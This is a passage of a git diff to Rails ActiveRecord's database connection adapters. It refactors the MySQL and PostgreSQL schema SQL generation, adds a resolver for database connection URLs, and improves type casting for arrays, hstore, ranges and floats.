         change_column table_name, column_name, column.sql_type, :default => default
@@ -663,10 +664,9 @@ module ActiveRecord
       end
 
       def add_column_sql(table_name, column_name, type, options = {})
-        add_column_sql = "ADD #{quote_column_name(column_name)} #{type_to_sql(type, options[:limit], options[:precision], options[:scale])}"
-        add_column_options!(add_column_sql, options)
-        add_column_position!(add_column_sql, options)
-        add_column_sql
+        td = create_table_definition table_name, options[:temporary], options[:options]
+        cd = td.new_column_definition(column_name, type, options)
+        schema_creation.visit_AddColumn cd
       end
 
       def change_column_sql(table_name, column_name, type, options = {})
@@ -680,14 +680,12 @@ module ActiveRecord
           options[:null] = column.null
         end
 
-        change_column_sql = "CHANGE #{quote_column_name(column_name)} #{quote_column_name(column_name)} #{type_to_sql(type, options[:limit], options[:precision], options[:scale])}"
-        add_column_options!(change_column_sql, options)
-        add_column_position!(change_column_sql, options)
-        change_column_sql
+        options[:name] = column.name
+        schema_creation.accept ChangeColumnDefinition.new column, type, options
       end
 
       def rename_column_sql(table_name, column_name, new_column_name)
-        options = {}
+        options = { name: new_column_name }
 
         if column = columns(table_name).find { |c| c.name == column_name.to_s }
           options[:default] = column.default
@@ -698,9 +696,7 @@ module ActiveRecord
         end
 
         current_type = select_one("SHOW COLUMNS FROM #{quote_table_name(table_name)} LIKE '#{column_name}'", 'SCHEMA')["Type"]
-        rename_column_sql = "CHANGE #{quote_column_name(column_name)} #{quote_column_name(new_column_name)} #{current_type}"
-        add_column_options!(rename_column_sql, options)
-        rename_column_sql
+        schema_creation.accept ChangeColumnDefinition.new column, current_type, options
       end
 
       def remove_column_sql(table_name, column_name, type = nil, options = {})
@@ -743,22 +739,22 @@ module ActiveRecord
       end
 
       def configure_connection
-        variables = @config[:variables] || {}
+        variables = @config.fetch(:variables, {}).stringify_keys
 
         # By default, MySQL 'where id is null' selects the last inserted id.
         # Turn this off. http://dev.rubyonrails.org/ticket/6778
-        variables[:sql_auto_is_null] = 0
+        variables['sql_auto_is_null'] = 0
 
         # Increase timeout so the server doesn't disconnect us.
         wait_timeout = @config[:wait_timeout]
         wait_timeout = 2147483 unless wait_timeout.is_a?(Fixnum)
-        variables[:wait_timeout] = self.class.type_cast_config_to_integer(wait_timeout)
+        variables['wait_timeout'] = self.class.type_cast_config_to_integer(wait_timeout)
 
         # Make MySQL reject illegal values rather than truncating or blanking them, see
         # http://dev.mysql.com/doc/refman/5.0/en/server-sql-mode.html#sqlmode_strict_all_tables
         # If the user has provided another value for sql_mode, don't replace it.
-        if strict_mode? && !variables.has_key?(:sql_mode)
-          variables[:sql_mode] = 'STRICT_ALL_TABLES'
+        if strict_mode? && !variables.has_key?('sql_mode')
+          variables['sql_mode'] = 'STRICT_ALL_TABLES'
         end
 
         # NAMES does not have an equals sign, see
@@ -777,7 +773,7 @@ module ActiveRecord
         end.compact.join(', ')
 
         # ...and send them all in one query
-        execute("SET #{encoding} #{variable_assignments}", :skip_logging)
+        @connection.query  "SET #{encoding} #{variable_assignments}"
       end
     end
   end
diff --git a/activerecord/lib/active_record/connection_adapters/column.rb b/activerecord/lib/active_record/connection_adapters/column.rb
index fd37cb0..f2fbd5a 100644
--- a/activerecord/lib/active_record/connection_adapters/column.rb
+++ b/activerecord/lib/active_record/connection_adapters/column.rb
@@ -108,30 +108,6 @@ module ActiveRecord
         end
       end
 
-      def type_cast_code(var_name)
-        message = "Column#type_cast_code is deprecated in favor of using Column#type_cast only, " \
-                  "and it is going to be removed in future Rails versions."
-        ActiveSupport::Deprecation.warn message
-
-        klass = self.class.name
-
-        case type
-        when :string, :text        then var_name
-        when :integer              then "#{klass}.value_to_integer(#{var_name})"
-        when :float                then "#{var_name}.to_f"
-        when :decimal              then "#{klass}.value_to_decimal(#{var_name})"
-        when :datetime, :timestamp then "#{klass}.string_to_time(#{var_name})"
-        when :time                 then "#{klass}.string_to_dummy_time(#{var_name})"
-        when :date                 then "#{klass}.value_to_date(#{var_name})"
-        when :binary               then "#{klass}.binary_to_string(#{var_name})"
-        when :boolean              then "#{klass}.value_to_boolean(#{var_name})"
-        when :hstore               then "#{klass}.string_to_hstore(#{var_name})"
-        when :inet, :cidr          then "#{klass}.string_to_cidr(#{var_name})"
-        when :json                 then "#{klass}.string_to_json(#{var_name})"
-        else var_name
-        end
-      end
-
       # Returns the human name of the column name.
       #
       # ===== Examples
@@ -144,17 +120,7 @@ module ActiveRecord
         type_cast(default)
       end
 
-      # Used to convert from Strings to BLOBs
-      def string_to_binary(value)
-        self.class.string_to_binary(value)
-      end
-
       class << self
-        # Used to convert from Strings to BLOBs
-        def string_to_binary(value)
-          value
-        end
-
         # Used to convert from BLOBs to Strings
         def binary_to_string(value)
           value
@@ -238,11 +204,19 @@ module ActiveRecord
             end
           end
 
-          def new_time(year, mon, mday, hour, min, sec, microsec)
+          def new_time(year, mon, mday, hour, min, sec, microsec, offset = nil)
             # Treat 0000-00-00 00:00:00 as nil.
             return nil if year.nil? || (year == 0 && mon == 0 && mday == 0)
 
-            Time.send(Base.default_timezone, year, mon, mday, hour, min, sec, microsec) rescue nil
+            if offset
+              time = Time.utc(year, mon, mday, hour, min, sec, microsec) rescue nil
+              return nil unless time
+
+              time -= offset
+              Base.default_timezone == :utc ? time : time.getlocal
+            else
+              Time.public_send(Base.default_timezone, year, mon, mday, hour, min, sec, microsec) rescue nil
+            end
           end
 
           def fast_string_to_date(string)
@@ -267,7 +241,7 @@ module ActiveRecord
             time_hash = Date._parse(string)
             time_hash[:sec_fraction] = microseconds(time_hash)
 
-            new_time(*time_hash.values_at(:year, :mon, :mday, :hour, :min, :sec, :sec_fraction))
+            new_time(*time_hash.values_at(:year, :mon, :mday, :hour, :min, :sec, :sec_fraction, :offset))
           end
       end
 
@@ -307,7 +281,7 @@ module ActiveRecord
             :text
           when /blob/i, /binary/i
             :binary
-          when /char/i, /string/i
+          when /char/i
             :string
           when /boolean/i
             :boolean
diff --git a/activerecord/lib/active_record/connection_adapters/connection_specification.rb b/activerecord/lib/active_record/connection_adapters/connection_specification.rb
index 8bad7d0..85885f9 100644
--- a/activerecord/lib/active_record/connection_adapters/connection_specification.rb
+++ b/activerecord/lib/active_record/connection_adapters/connection_specification.rb
@@ -13,41 +13,173 @@ module ActiveRecord
         @config = original.config.dup
       end
 
+      # Expands a connection string into a hash.
+      class ConnectionUrlResolver # :nodoc:
+
+        # == Example
+        #
+        #   url = "postgresql://foo:bar@localhost:9000/foo_test?pool=5&timeout=3000"
+        #   ConnectionUrlResolver.new(url).to_hash
+        #   # => {
+        #     "adapter"  => "postgresql",
+        #     "host"     => "localhost",
+        #     "port"     => 9000,
+        #     "database" => "foo_test",
+        #     "username" => "foo",
+        #     "password" => "bar",
+        #     "pool"     => "5",
+        #     "timeout"  => "3000"
+        #   }
+        def initialize(url)
+          raise "Database URL cannot be empty" if url.blank?
+          @uri     = URI.parse(url)
+          @adapter = @uri.scheme.gsub('-', '_')
+          @adapter = "postgresql" if @adapter == "postgres"
+
+          if @uri.opaque
+            @uri.opaque, @query = @uri.opaque.split('?', 2)
+          else
+            @query = @uri.query
+          end
+          @authority = url =~ %r{\A[^:]*://}
+        end
+
+        # Converts the given URL to a full connection hash.
+        def to_hash
+          config = raw_config.reject { |_,value| value.blank? }
+          config.map { |key,value| config[key] = uri_parser.unescape(value) if value.is_a? String }
+          config
+        end
+
+        private
+
+        def uri
+          @uri
+        end
+
+        def uri_parser
+          @uri_parser ||= URI::Parser.new
+        end
+
+        # Converts the query parameters of the URI into a hash.
+        #
+        #   "localhost?pool=5&reap_frequency=2"
+        #   # => { "pool" => "5", "reap_frequency" => "2" }
+        #
+        # returns empty hash if no query present.
+        #
+        #   "localhost"
+        #   # => {}
+        def query_hash
+          Hash[(@query || '').split("&").map { |pair| pair.split("=") }]
+        end
+
+        def raw_config
+          if uri.opaque
+            query_hash.merge({
+              "adapter"  => @adapter,
+              "database" => uri.opaque })
+          else
+            query_hash.merge({
+              "adapter"  => @adapter,
+              "username" => uri.user,
+              "password" => uri.password,
+              "port"     => uri.port,
+              "database" => database_from_path,
+              "host"     => uri.host })
+          end
+        end
+
+        # Returns name of the database.
+        # Sqlite3's handling of a leading slash is in transition as of
+        # Rails 4.1.
+        def database_from_path
+          if @authority && @adapter == 'sqlite3'
+            # 'sqlite3:///foo' is relative, for backwards compatibility.
+
+            database_name = uri.path.sub(%r{^/}, "")
+
+            msg = "Paths in SQLite3 database URLs of the form `sqlite3:///path` will be treated as absolute in Rails 4.2. " \
+              "Please switch to `sqlite3:#{database_name}`."
+            ActiveSupport::Deprecation.warn(msg)
+
+            database_name
+
+          elsif @adapter == 'sqlite3'
+            # 'sqlite3:/foo' is absolute, because that makes sense. The
+            # corresponding relative version, 'sqlite3:foo', is handled
+            # elsewhere, as an "opaque".
+
+            uri.path
+          else
+            # Only SQLite uses a filename as the "database" name; for
+            # anything else, a leading slash would be silly.
+
+            uri.path.sub(%r{^/}, "")
+          end
+        end
+      end
+
       ##
-      # Builds a ConnectionSpecification from user input
+      # Builds a ConnectionSpecification from user input.
       class Resolver # :nodoc:
-        attr_reader :config, :klass, :configurations
+        attr_reader :configurations
 
-        def initialize(config, configurations)
-          @config         = config
+        # Accepts a hash two layers deep, keys on the first layer represent
+        # environments such as "production". Keys must be strings.
+        def initialize(configurations)
           @configurations = configurations
         end
 
-        def spec
-          case config
-          when nil
-            raise AdapterNotSpecified unless defined?(Rails.env)
-            resolve_string_connection Rails.env
-          when Symbol, String
-            resolve_string_connection config.to_s
-          when Hash
-            resolve_hash_connection config
+        # Returns a hash with database connection information.
+        #
+        # == Examples
+        #
+        # Full hash Configuration.
+        #
+        #   configurations = { "production" => { "host" => "localhost", "database" => "foo", "adapter" => "sqlite3" } }
+        #   Resolver.new(configurations).resolve(:production)
+        #   # => { "host" => "localhost", "database" => "foo", "adapter" => "sqlite3"}
+        #
+        # Initialized with URL configuration strings.
+        #
+        #   configurations = { "production" => "postgresql://localhost/foo" }
+        #   Resolver.new(configurations).resolve(:production)
+        #   # => { "host" => "localhost", "database" => "foo", "adapter" => "postgresql" }
+        #
+        def resolve(config)
+          if config
+            resolve_connection config
+          elsif env = ActiveRecord::ConnectionHandling::RAILS_ENV.call
+            resolve_symbol_connection env.to_sym
+          else
+            raise AdapterNotSpecified
           end
         end
 
-        private
-        def resolve_string_connection(spec) # :nodoc:
-          hash = configurations.fetch(spec) do |k|
-            connection_url_to_hash(k)
+        # Expands each key in @configurations hash into fully resolved hash
+        def resolve_all
+          config = configurations.dup
+          config.each do |key, value|
+            config[key] = resolve(value) if value
           end
-
-          raise(AdapterNotSpecified, "#{spec} database is not configured") unless hash
-
-          resolve_hash_connection hash
+          config
         end
 
-        def resolve_hash_connection(spec) # :nodoc:
-          spec = spec.symbolize_keys
+        # Returns an instance of ConnectionSpecification for a given adapter.
+        # Accepts a hash one layer deep that contains all connection information.
+        #
+        # == Example
+        #
+        #   config = { "production" => { "host" => "localhost", "database" => "foo", "adapter" => "sqlite3" } }
+        #   spec = Resolver.new(config).spec(:production)
+        #   spec.adapter_method
+        #   # => "sqlite3"
+        #   spec.config
+        #   # => { "host" => "localhost", "database" => "foo", "adapter" => "sqlite3" }
+        #
+        def spec(config)
+          spec = resolve(config).symbolize_keys
 
           raise(AdapterNotSpecified, "database configuration does not specify adapter") unless spec.key?(:adapter)
 
@@ -55,41 +187,97 @@ module ActiveRecord
           begin
             require path_to_adapter
           rescue Gem::LoadError => e
-            raise Gem::LoadError, "Specified '#{spec[:adapter]}' for database adapter, but the gem is not loaded. Add `gem '#{e.name}'` to your Gemfile."
+            raise Gem::LoadError, "Specified '#{spec[:adapter]}' for database adapter, but the gem is not loaded. Add `gem '#{e.name}'` to your Gemfile (and ensure its version is at the minimum required by ActiveRecord)."
           rescue LoadError => e
             raise LoadError, "Could not load '#{path_to_adapter}'. Make sure that the adapter in config/database.yml is valid. If you use an adapter other than 'mysql', 'mysql2', 'postgresql' or 'sqlite3' add the necessary adapter gem to the Gemfile.", e.backtrace
           end
 
           adapter_method = "#{spec[:adapter]}_connection"
-
           ConnectionSpecification.new(spec, adapter_method)
         end
 
-        def connection_url_to_hash(url) # :nodoc:
-          config = URI.parse url
-          adapter = config.scheme
-          adapter = "postgresql" if adapter == "postgres"
-          spec = { :adapter  => adapter,
-                   :username => config.user,
-                   :password => config.password,
-                   :port     => config.port,
-                   :database => config.path.sub(%r{^/},""),
-                   :host     => config.host }
-
-          spec.reject!{ |_,value| value.blank? }
-
-          uri_parser = URI::Parser.new
+        private
 
-          spec.map { |key,value| spec[key] = uri_parser.unescape(value) if value.is_a?(String) }
+        # Returns fully resolved connection, accepts hash, string or symbol.
+        # Always returns a hash.
+        #
+        # == Examples
+        #
+        # Symbol representing current environment.
+        #
+        #   Resolver.new("production" => {}).resolve_connection(:production)
+        #   # => {}
+        #
+        # One layer deep hash of connection values.
+        #
+        #   Resolver.new({}).resolve_connection("adapter" => "sqlite3")
+        #   # => { "adapter" => "sqlite3" }
+        #
+        # Connection URL.
+        #
+        #   Resolver.new({}).resolve_connection("postgresql://localhost/foo")
+        #   # => { "host" => "localhost", "database" => "foo", "adapter" => "postgresql" }
+        #
+        def resolve_connection(spec)
+          case spec
+          when Symbol
+            resolve_symbol_connection spec
+          when String
+            resolve_string_connection spec
+          when Hash
+            resolve_hash_connection spec
+          end
+        end
 
-          if config.query
-            options = Hash[config.query.split("&").map{ |pair| pair.split("=") }].symbolize_keys
+        def resolve_string_connection(spec)
+          # Rails has historically accepted a string to mean either
+          # an environment key or a URL spec, so we have deprecated
+          # this ambiguous behaviour and in the future this function
+          # can be removed in favor of resolve_url_connection.
+          if configurations.key?(spec) || spec !~ /:/
+            ActiveSupport::Deprecation.warn "Passing a string to ActiveRecord::Base.establish_connection " \
+              "for a configuration lookup is deprecated, please pass a symbol (#{spec.to_sym.inspect}) instead"
+            resolve_symbol_connection(spec)
+          else
+            resolve_url_connection(spec)
+          end
+        end
 
-            spec.merge!(options)
+        # Takes the environment such as `:production` or `:development`.
+        # This requires that the @configurations was initialized with a key that
+        # matches.
+        #
+        #   Resolver.new("production" => {}).resolve_symbol_connection(:production)
+        #   # => {}
+        #
+        def resolve_symbol_connection(spec)
+          if config = configurations[spec.to_s]
+            resolve_connection(config)
+          else
+            raise(AdapterNotSpecified, "'#{spec}' database is not configured. Available: #{configurations.keys.inspect}")
           end
+        end
 
+        # Accepts a hash. Expands the "url" key that contains a
+        # URL database connection to a full connection
+        # hash and merges with the rest of the hash.
+        # Connection details inside of the "url" key win any merge conflicts
+        def resolve_hash_connection(spec)
+          if spec["url"] && spec["url"] !~ /^jdbc:/
+            connection_hash = resolve_string_connection(spec.delete("url"))
+            spec.merge!(connection_hash)
+          end
           spec
         end
+
+        # Takes a connection URL.
+        #
+        #   Resolver.new({}).resolve_url_connection("postgresql://localhost/foo")
+        #   # => { "host" => "localhost", "database" => "foo", "adapter" => "postgresql" }
+        #
+        def resolve_url_connection(url)
+          ConnectionUrlResolver.new(url).to_hash
+        end
       end
     end
   end
diff --git a/activerecord/lib/active_record/connection_adapters/mysql2_adapter.rb b/activerecord/lib/active_record/connection_adapters/mysql2_adapter.rb
old mode 100755
new mode 100644
index 6b985dd..b07b0cb
--- a/activerecord/lib/active_record/connection_adapters/mysql2_adapter.rb
+++ b/activerecord/lib/active_record/connection_adapters/mysql2_adapter.rb
@@ -1,6 +1,6 @@
 require 'active_record/connection_adapters/abstract_mysql_adapter'
 
-gem 'mysql2', '~> 0.3.10'
+gem 'mysql2', '~> 0.3.13'
 require 'mysql2'
 
 module ActiveRecord
@@ -18,6 +18,12 @@ module ActiveRecord
       client = Mysql2::Client.new(config)
       options = [config[:host], config[:username], config[:password], config[:database], config[:port], config[:socket], 0]
       ConnectionAdapters::Mysql2Adapter.new(client, logger, options, config)
+    rescue Mysql2::Error => error
+      if error.message.include?("Unknown database")
+        raise ActiveRecord::NoDatabaseError.new(error.message)
+      else
+        raise error
+      end
     end
   end
 
@@ -207,7 +213,7 @@ module ActiveRecord
 
       # Returns an array of arrays containing the field values.
       # Order is the same as that returned by +columns+.
-      def select_rows(sql, name = nil)
+      def select_rows(sql, name = nil, binds = [])
         execute(sql, name).to_a
       end
 
@@ -229,8 +235,7 @@ module ActiveRecord
 
       alias exec_without_stmt exec_query
 
-      # Returns an array of record hashes with the column names as keys and
-      # column values as values.
+      # Returns an ActiveRecord::Result instance.
       def select(sql, name = nil, binds = [])
         exec_query(sql, name)
       end
diff --git a/activerecord/lib/active_record/connection_adapters/mysql_adapter.rb b/activerecord/lib/active_record/connection_adapters/mysql_adapter.rb
old mode 100755
new mode 100644
index 88c9494..49f0bfb
--- a/activerecord/lib/active_record/connection_adapters/mysql_adapter.rb
+++ b/activerecord/lib/active_record/connection_adapters/mysql_adapter.rb
@@ -34,6 +34,12 @@ module ActiveRecord
       default_flags |= Mysql::CLIENT_FOUND_ROWS if Mysql.const_defined?(:CLIENT_FOUND_ROWS)
       options = [host, username, password, database, port, socket, default_flags]
       ConnectionAdapters::MysqlAdapter.new(mysql, logger, options, config)
+    rescue Mysql::Error => error
+      if error.message.include?("Unknown database")
+        raise ActiveRecord::NoDatabaseError.new(error.message)
+      else
+        raise error
+      end
     end
   end
 
@@ -160,12 +166,6 @@ module ActiveRecord
 
       # QUOTING ==================================================
 
-      def type_cast(value, column)
-        return super unless value == true || value == false
-
-        value ? 1 : 0
-      end
-
       def quote_string(string) #:nodoc:
         @connection.quote(string)
       end
@@ -213,9 +213,9 @@ module ActiveRecord
 
       # DATABASE STATEMENTS ======================================
 
-      def select_rows(sql, name = nil)
+      def select_rows(sql, name = nil, binds = [])
         @connection.query_with_result = true
-        rows = exec_query(sql, name).rows
+        rows = exec_query(sql, name, binds).rows
         @connection.more_results && @connection.next_result    # invoking stored procedures with CLIENT_MULTI_RESULTS requires this to tidy up else connection will be dropped
         rows
       end
@@ -425,14 +425,19 @@ module ActiveRecord
 
           if result
             types = {}
+            fields = []
             result.fetch_fields.each { |field|
+              field_name = field.name
+              fields << field_name
+
               if field.decimals > 0
-                types[field.name] = Fields::Decimal.new
+                types[field_name] = Fields::Decimal.new
               else
-                types[field.name] = Fields.find_type field
+                types[field_name] = Fields.find_type field
               end
             }
-            result_set = ActiveRecord::Result.new(types.keys, result.to_a, types)
+
+            result_set = ActiveRecord::Result.new(fields, result.to_a, types)
             result.free
           else
             result_set = ActiveRecord::Result.new([], [])
@@ -468,15 +473,17 @@ module ActiveRecord
 
       def begin_db_transaction #:nodoc:
         exec_query "BEGIN"
-      rescue Mysql::Error
-        # Transactions aren't supported
       end
 
       private
 
       def exec_stmt(sql, name, binds)
         cache = {}
-        log(sql, name, binds) do
+        type_casted_binds = binds.map { |col, val|
+          [col, type_cast(val, col)]
+        }
+
+        log(sql, name, type_casted_binds) do
           if binds.empty?
             stmt = @connection.prepare(sql)
           else
@@ -487,7 +494,7 @@ module ActiveRecord
           end
 
           begin
-            stmt.execute(*binds.map { |col, val| type_cast(val, col) })
+            stmt.execute(*type_casted_binds.map { |_, val| val })
           rescue Mysql::Error => e
             # Older versions of MySQL leave the prepared statement in a bad
             # place when an error occurs. To support older mysql versions, we
diff --git a/activerecord/lib/active_record/connection_adapters/postgresql/array_parser.rb b/activerecord/lib/active_record/connection_adapters/postgresql/array_parser.rb
index b7d24f2..0b218f2 100644
--- a/activerecord/lib/active_record/connection_adapters/postgresql/array_parser.rb
+++ b/activerecord/lib/active_record/connection_adapters/postgresql/array_parser.rb
@@ -2,6 +2,13 @@ module ActiveRecord
   module ConnectionAdapters
     class PostgreSQLColumn < Column
       module ArrayParser
+
+        DOUBLE_QUOTE = '"'
+        BACKSLASH = "\\"
+        COMMA = ','
+        BRACKET_OPEN = '{'
+        BRACKET_CLOSE = '}'
+
         private
           # Loads pg_array_parser if available. String parsing can be
           # performed quicker by a native extension, which will not create
@@ -12,18 +19,18 @@ module ActiveRecord
             include PgArrayParser
           rescue LoadError
             def parse_pg_array(string)
-              parse_data(string, 0)
+              parse_data(string)
             end
           end
 
-          def parse_data(string, index)
-            local_index = index
+          def parse_data(string)
+            local_index = 0
             array = []
             while(local_index < string.length)
               case string[local_index]
-              when '{'
+              when BRACKET_OPEN
                 local_index,array = parse_array_contents(array, string, local_index + 1)
-              when '}'
+              when BRACKET_CLOSE
                 return array
               end
               local_index += 1
@@ -33,9 +40,9 @@ module ActiveRecord
           end
 
           def parse_array_contents(array, string, index)
-            is_escaping = false
-            is_quoted = false
-            was_quoted = false
+            is_escaping  = false
+            is_quoted    = false
+            was_quoted   = false
             current_item = ''
 
             local_index = index
@@ -47,29 +54,29 @@ module ActiveRecord
               else
                 if is_quoted
                   case token
-                  when '"'
+                  when DOUBLE_QUOTE
                     is_quoted = false
                     was_quoted = true
-                  when "\\"
+                  when BACKSLASH
                     is_escaping = true
                   else
                     current_item << token
                   end
                 else
                   case token
-                  when "\\"
+                  when BACKSLASH
                     is_escaping = true
-                  when ','
+                  when COMMA
                     add_item_to_array(array, current_item, was_quoted)
                     current_item = ''
                     was_quoted = false
-                  when '"'
+                  when DOUBLE_QUOTE
                     is_quoted = true
-                  when '{'
+                  when BRACKET_OPEN
                     internal_items = []
                     local_index,internal_items = parse_array_contents(internal_items, string, local_index + 1)
                     array.push(internal_items)
-                  when '}'
+                  when BRACKET_CLOSE
                     add_item_to_array(array, current_item, was_quoted)
                     return local_index,array
                   else
@@ -84,8 +91,9 @@ module ActiveRecord
           end
 
           def add_item_to_array(array, current_item, quoted)
-            if current_item.length == 0
-            elsif !quoted && current_item == 'NULL'
+            return if !quoted && current_item.length == 0
+
+            if !quoted && current_item == 'NULL'
               array.push nil
             else
               array.push current_item
diff --git a/activerecord/lib/active_record/connection_adapters/postgresql/cast.rb b/activerecord/lib/active_record/connection_adapters/postgresql/cast.rb
index a73f0ac..551a928 100644
--- a/activerecord/lib/active_record/connection_adapters/postgresql/cast.rb
+++ b/activerecord/lib/active_record/connection_adapters/postgresql/cast.rb
@@ -17,8 +17,8 @@ module ActiveRecord
           return string unless String === string
 
           case string
-          when 'infinity'; 1.0 / 0.0
-          when '-infinity'; -1.0 / 0.0
+          when 'infinity'; Float::INFINITY
+          when '-infinity'; -Float::INFINITY
           when / BC$/
             super("-" + string.sub(/ BC$/, ""))
           else
@@ -35,11 +35,11 @@ module ActiveRecord
           end
         end
 
-        def hstore_to_string(object)
+        def hstore_to_string(object, array_member = false)
           if Hash === object
-            object.map { |k,v|
-              "#{escape_hstore(k)}=>#{escape_hstore(v)}"
-            }.join ','
+            string = object.map { |k, v| "#{escape_hstore(k)}=>#{escape_hstore(v)}" }.join(',')
+            string = escape_hstore(string) if array_member
+            string
           else
             object
           end
@@ -49,10 +49,10 @@ module ActiveRecord
           if string.nil?
             nil
           elsif String === string
-            Hash[string.scan(HstorePair).map { |k,v|
+            Hash[string.scan(HstorePair).map { |k, v|
               v = v.upcase == 'NULL' ? nil : v.gsub(/\A"(.*)"\Z/m,'\1').gsub(/\\(.)/, '\1')
               k = k.gsub(/\A"(.*)"\Z/m,'\1').gsub(/\\(.)/, '\1')
-              [k,v]
+              [k, v]
             }]
           else
             string
@@ -67,7 +67,7 @@ module ActiveRecord
           end
         end
 
-        def array_to_string(value, column, adapter, should_be_quoted = false)
+        def array_to_string(value, column, adapter)
           casted_values = value.map do |val|
             if String === val
               if val == "NULL"
@@ -100,7 +100,11 @@ module ActiveRecord
           if string.nil?
             nil
           elsif String === string
-            IPAddr.new(string)
+            begin
+              IPAddr.new(string)
+            rescue ArgumentError
+              nil
+            end
           else
             string
           end
@@ -115,7 +119,7 @@ module ActiveRecord
         end
 
         def string_to_array(string, oid)
-          parse_pg_array(string).map{|val| oid.type_cast val}
+          parse_pg_array(string).map {|val| type_cast_array(oid, val)}
         end
 
         private
@@ -138,12 +142,24 @@ module ActiveRecord
             end
           end
 
+          ARRAY_ESCAPE = "\\" * 2 * 2 # escape the backslash twice for PG arrays
+
           def quote_and_escape(value)
             case value
-            when "NULL"
+            when "NULL", Numeric
               value
             else
-              "\"#{value.gsub(/"/,"\\\"")}\""
+              value = value.gsub(/\\/, ARRAY_ESCAPE)
+              value.gsub!(/"/,"\\\"")
+              "\"#{value}\""
+            end
+          end
+
+          def type_cast_array(oid, value)
+            if ::Array === value
+              value.map {|item| type_cast_array(oid, item)}
+            else
+              oid.type_cast value
             end
           end
       end
diff --git a/activerecord/lib/active_record/connection_adapters/postgresql/database_statements.rb b/activerecord/lib/active_record/connection_adapters/postgresql/database_statements.rb
index 7237af8..a5fb048 100644
--- a/activerecord/lib/active_record/connection_adapters/postgresql/database_statements.rb
+++ b/activerecord/lib/active_record/connection_adapters/postgresql/database_statements.rb
@@ -46,8 +46,8 @@ module ActiveRecord
 
         # Executes a SELECT query and returns an array of rows. Each row is an
         # array of field values.
-        def select_rows(sql, name = nil)
-          select_raw(sql, name).last
+        def select_rows(sql, name = nil, binds = [])
+          exec_query(sql, name, binds).rows
         end
 
         # Executes an INSERT query and returns the new record's ID
@@ -134,35 +134,28 @@ module ActiveRecord
         end
 
         def exec_query(sql, name = 'SQL', binds = [])
-          log(sql, name, binds) do
-            result = without_prepared_statement?(binds) ? exec_no_cache(sql, binds) :
-                                                          exec_cache(sql, binds)
-
-            types = {}
-            fields = result.fields
-            fields.each_with_index do |fname, i|
-              ftype = result.ftype i
-              fmod  = result.fmod i
-              types[fname] = OID::TYPE_MAP.fetch(ftype, fmod) { |oid, mod|
-                warn "unknown OID: #{fname}(#{oid}) (#{sql})"
-                OID::Identity.new
-              }
-            end
-
-            ret = ActiveRecord::Result.new(fields, result.values, types)
-            result.clear
-            return ret
+          result = without_prepared_statement?(binds) ? exec_no_cache(sql, name, binds) :
+                                                        exec_cache(sql, name, binds)
+
+          types = {}
+          fields = result.fields
+          fields.each_with_index do |fname, i|
+            ftype = result.ftype i
+            fmod  = result.fmod i
+            types[fname] = get_oid_type(ftype, fmod, fname)
           end
+
+          ret = ActiveRecord::Result.new(fields, result.values, types)
+          result.clear
+          return ret
         end
 
         def exec_delete(sql, name = 'SQL', binds = [])
-          log(sql, name, binds) do
-            result = without_prepared_statement?(binds) ? exec_no_cache(sql, binds) :
-                                                          exec_cache(sql, binds)
-            affected = result.cmd_tuples
-            result.clear
-            affected
-          end
+          result = without_prepared_statement?(binds) ? exec_no_cache(sql, name, binds) :
+                                                        exec_cache(sql, name, binds)
+          affected = result.cmd_tuples
+          result.clear
+          affected
         end
         alias :exec_update :exec_delete
 
@@ -218,25 +211,6 @@ module ActiveRecord
         def rollback_db_transaction
           execute "ROLLBACK"
         end
-
-        def outside_transaction?
-          message = "#outside_transaction? is deprecated. This method was only really used " \
-                    "internally, but you can use #transaction_open? instead."
-          ActiveSupport::Deprecation.warn message
-          @connection.transaction_status == PGconn::PQTRANS_IDLE
-        end
-
-        def create_savepoint
-          execute("SAVEPOINT #{current_savepoint_name}")
-        end
-
-        def rollback_to_savepoint
-          execute("ROLLBACK TO SAVEPOINT #{current_savepoint_name}")
-        end
-
-        def release_savepoint
-          execute("RELEASE SAVEPOINT #{current_savepoint_name}")
-        end
       end
     end
   end
diff --git a/activerecord/lib/active_record/connection_adapters/postgresql/oid.rb b/activerecord/lib/active_record/connection_adapters/postgresql/oid.rb
index ac92fec..7878c8f 100644
--- a/activerecord/lib/active_record/connection_adapters/postgresql/oid.rb
+++ b/activerecord/lib/active_record/connection_adapters/postgresql/oid.rb
@@ -6,10 +6,6 @@ module ActiveRecord
       module OID
         class Type
           def type; end
-
-          def type_cast_for_write(value)
-            value
-          end
         end
 
         class Identity < Type
@@ -141,7 +137,7 @@ module ActiveRecord
             case @subtype
             when :date
               from  = ConnectionAdapters::Column.value_to_date(extracted[:from])
-              from -= 1.day if extracted[:exclude_start]
+              from += 1.day if extracted[:exclude_start]
               to    = ConnectionAdapters::Column.value_to_date(extracted[:to])
             when :decimal
               from  = BigDecimal.new(extracted[:from].to_s)
@@ -152,7 +148,7 @@ module ActiveRecord
               to   = ConnectionAdapters::Column.string_to_time(extracted[:to])
             when :integer
               from = to_integer(extracted[:from]) rescue value ? 1 : 0
-              from -= 1 if extracted[:exclude_start]
+              from += 1 if extracted[:exclude_start]
               to   = to_integer(extracted[:to]) rescue value ? 1 : 0
             else
               return value
@@ -214,9 +210,14 @@ module ActiveRecord
 
         class Float < Type
           def type_cast(value)
-            return if value.nil?
-
-            value.to_f
+            case value
+              when nil;         nil
+              when 'Infinity';  ::Float::INFINITY
+              when '-Infinity'; -::Float::INFINITY
+              when 'NaN';       ::Float::NAN
+            else
+              value.to_f
+            end
           end
         end
 
@@ -229,11 +230,19 @@ module ActiveRecord
         end
 
         class Hstore < Type
+          def type_cast_for_write(value)
+            ConnectionAdapters::PostgreSQLColumn.hstore_to_string value
+          end
+
           def type_cast(value)
             return if value.nil?
 
             ConnectionAdapters::PostgreSQLColumn.string_to_hstore value
           end
+
+          def accessor
+            ActiveRecord::Store::StringKeyedHashAccessor
+          end
         end
 
         class Cidr < Type
@@ -245,11 +254,19 @@ module ActiveRecord
         end
 
         class Json < Type
+          def type_cast_for_write(value)
+            ConnectionAdapters::PostgreSQLColumn.json_to_string value
+          end
+
           def type_cast(value)
             return if value.nil?
 
             ConnectionAdapters::PostgreSQLColumn.string_to_json value
           end
+
+          def accessor
+            ActiveRecord::Store::StringKeyedHashAccessor
+          end
         end
 
         class TypeMap
@@ -289,17 +306,15 @@ module ActiveRecord
           end
         end
 
-        TYPE_MAP = TypeMap.new # :nodoc:
-
-        # When the PG adapter connects, the pg_type table is queried.  The
+        # When the PG adapter connects, the pg_type table is queried. The
         # key of this hash maps to the `typname` column from the table.
-        # TYPE_MAP is then dynamically built with oids as the key and type
+        # type_map is then dynamically built with oids as the key and type
         # objects as values.
